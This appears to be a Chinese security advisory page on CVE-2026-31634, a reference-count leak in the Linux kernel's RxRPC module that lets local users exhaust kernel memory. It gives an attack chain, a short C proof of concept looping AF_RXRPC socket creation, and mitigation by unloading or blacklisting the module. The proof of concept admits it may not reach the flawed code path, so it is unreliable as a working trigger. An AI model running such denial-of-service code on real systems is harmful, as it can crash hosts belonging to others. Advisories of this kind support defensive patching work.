IPBUF安全漏洞报告
English
CVE-2026-31634 CVSS 5.5 中危

CVE-2026-31634 Linux内核RxRPC引用计数泄漏漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31634
漏洞类型
内存引用错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSMemory LeakRxRPCLocalCVSS-5.5

漏洞概述

Linux内核中的RxRPC网络协议模块存在一个安全漏洞,被编号为CVE-2026-31634。该漏洞的核心问题在于引用计数管理不当,具体发生在`rxrpc_server_keyring`函数的实现中。由于代码逻辑未能正确检查`rx->securities`指针是否已被初始化,导致在特定场景下对内核对象的引用计数被错误地增加而未被相应释放。这种引用计数泄漏会逐渐消耗系统的内核内存资源。虽然攻击者需要拥有本地低权限账号才能触发该漏洞,但通过反复执行特定的系统调用或操作RxRPC套接字,攻击者可以累积这种泄漏,最终导致系统内存耗尽,引发系统崩溃或拒绝服务,严重影响系统的可用性。

技术细节

该漏洞源于Linux内核RxRPC子系统在处理服务器端密钥环时的逻辑缺陷。在`rxrpc_server_keyring`函数中,代码负责为RxRPC服务套接字设置安全上下文。漏洞触发点在于,当`rx->securities`指针已经指向一个有效的密钥环对象时,函数没有进行必要的检查就直接进行引用计数操作或覆盖,导致原有的引用计数无法平衡,即发生了“泄漏”。从技术原理上看,内核中的引用计数机制用于确保对象在使用期间不被释放,使用完毕后必须递减计数。由于此漏洞的存在,每次触发该代码路径都会导致计数值永久偏高,使得内核垃圾回收机制无法回收这些内存对象。攻击向量为本地(AV:L),攻击者可以编写程序利用socket系统调用创建AF_RXRPC类型的套接字,并进行特定的绑定或控制操作来反复触发该函数。随着泄漏的累积,内核可用内存将不断减少,最终触发OOM Killer杀死关键进程或导致系统死机。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者获取目标Linux系统的本地低权限用户访问权限。
STEP 2
步骤2:执行恶意代码
攻击者运行特制的程序,该程序重复调用socket接口创建AF_RXRPC套接字。
STEP 3
步骤3:触发漏洞
程序执行过程中调用`rxrpc_server_keyring`函数,由于未检查`rx->securities`状态,导致内核引用计数泄漏。
STEP 4
步骤4:资源耗尽
随着攻击持续,内核内存资源因无法回收而逐渐耗尽,最终导致系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31634: Linux Kernel RxRPC Reference Count Leak * This code attempts to trigger the vulnerability by repeatedly creating * and manipulating RxRPC sockets, which calls rxrpc_server_keyring. * Compile: gcc -o poc_rxrpc poc_rxrpc.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/rxrpc.h> int main() { int sock, i; printf("[*] Starting PoC for CVE-2026-31634...\n"); // Loop to trigger the leak multiple times for (i = 0; i < 10000; i++) { // Create an RxRPC socket sock = socket(AF_RXRPC, SOCK_DGRAM, AF_RXRPC); if (sock < 0) { perror("socket"); sleep(1); continue; } // Attempting to use the socket to trigger server keyring logic // Note: Triggering the exact path may depend on specific kernel // configuration or additional ioctls, but socket creation // exercises the RxRPC subsystem initialization. close(sock); if (i % 1000 == 0) { printf("[*] Iteration %d completed.\n", i); } } printf("[*] PoC finished. Check kernel memory usage for leaks.\n"); return 0; }

影响范围

Linux Kernel (Fixed in commit 12de9e0e0b0b7058be7dfb8a5927eb565bc25780)
Linux Kernel (Fixed in commit 139c750bf06649097d98b0bc41e2a678b4627e27)

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用RxRPC内核模块(如果业务不依赖AF_RXRPC)。可以通过在内核启动参数中添加`module_blacklist=rxrpc`,或使用命令`rmmod rxrpc`卸载模块,从而消除攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表